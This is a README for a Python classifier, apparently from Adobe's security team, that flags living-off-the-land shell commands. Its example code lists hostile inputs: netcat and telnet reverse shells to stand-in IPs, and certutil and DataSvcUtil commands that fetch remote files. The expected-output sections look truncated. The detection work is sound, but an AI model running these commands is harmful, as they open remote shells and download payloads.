Living of the Land Classifier

This repository contains the source code and pre-trained models for the Living of the Land Classifier, designed by the Security Intelligence (SI) Team of the Security Coordination Center (SCC) @ Adobe.

Quick start guide

If you have experience with python and are eager to get started, check the Quick start Jupyter Notebook, instead of this documentation.

To get the library up and running in no time, use the following tutorial. If you want to build you own model, please refer to the "Advanced usage and documentation" section (below).

Prerequisites

Before you proceed, make sure your system meets the following requirements:

  • Python 3.7+ installed and running on your system
  • PIP package installer
  • We recommend using a virtual environment. See the official documentation for details

Quick installation

The easiest way to get LOL running is to use the pip:

You can use the following command directly on your system or in the virtual environment (recommended):

$ pip install lolc

To test the installation you can use the following scripts or ipython commands, which are also in the Quick start Jupyter Notebook:

LINUX

from lol.api import LOLC, PlatformType
lolc=LOLC(PlatformType.LINUX) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS
commands=['nc -nlvp 1234 & nc -e /bin/bash 10.20.30.40 4321',
          'iptables -t nat -L -n',
          'telnet 10.20.30.40 5000 | /bin/sh | 10.20.30.50 5001']
classification, tags = lolc(commands)
for command, status, tag in zip (commands, classification, tags):
    print(command)
    print(status)
    print(tag)
    print("\n")

The output should be:

nc -nlvp 1234 & nc -e /bin/bash 10.20.30.40 4321

WINDOWS

from lol.api import LOLC, PlatformType
lolc=LOLC(PlatformType.WINDOWS) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS
commands=['certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\\temp:ttt',
          'explorer.exe c:\\temp',
          'DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://11.11.11.11/xxxxxxxxx?encodedfile']
classification, tags = lolc(commands)
for command, status, tag in zip (commands, classification, tags):
    print(command)
    print(status)
    print(tag)
    print("\n")

The output should be:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
